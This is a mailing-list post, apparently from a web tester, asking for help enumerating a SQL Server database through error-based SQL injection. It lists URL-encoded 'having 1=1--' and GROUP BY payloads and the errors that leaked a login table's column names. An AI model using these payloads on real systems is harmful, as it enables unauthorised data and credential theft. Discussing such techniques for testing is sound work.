Enumerating databases...

[KrK <krk41 () yahoo com>]

 Hi List,
   I have been doing testing of a web site and have
   found all the errors as detailed in the advanced
sql injection paper by ngsoftware and in Hacme
   bank.
    
   I have been stuck on the way because of a
   different error and am unable to
   enumerate the database further. Here is the list
   of tests that i have done
   and the corresponding output, if anyone could
   suggest on how to enumerate
   the rest of the table fields it would be great.
    
   step 1: userid='%20having%201%3d1%2d%2d
    (encoded form of ' having 1=1--)
   result 1:
   Column 'logindetls.userid' is invalid in the
   select list because it is not
   contained in an aggregate function and there is
   no GROUP BY clause.
   
   step
2:'%20GROUP%20BY%20logindetls.userid%20having%201=1--
   result 2:
   Column 'logindetls.password' is invalid in the
   select list because it is not
   contained in either an aggregate function or the
   GROUP BY clause.
   
   step
3:userid='%20GROUP%20BY%20logindetls.userid,logindetls.password%20having%201
   =1--
   
   result 3:
   Column 'logindetls.name' is invalid in the
select
   list because it is not
   contained in either an aggregate function or the
   GROUP BY clause.
    
   and so on and so forth until i reach a point
   where i get this error:
   
   [Microsoft][ODBC SQL Server Driver][SQL
   Server]:the text, ntext, and image data types
   cannot be compared or sorted,
   except when using IS NULL or LIKE operator 
   
The application, i feel, stores text data in one of
the fields which results in the generation of this
error.Has anyone in the list come across this? any
clues on how to enumerate the database further?
Thanking you,
Krk


=====
" DON'T WORRY BE HAPPY,
     EVERY NIGHT YOU HAVE SOME TROUBLE,
     IF YOU WORRY YOU MAKE IT DOUBLE,
     SO DON'T WORRY BE HAPPY NOW...."


                
__________________________________
Do you Yahoo!?
Yahoo! Mail - 50x more storage than other providers!
http://promotions.yahoo.com/new_mail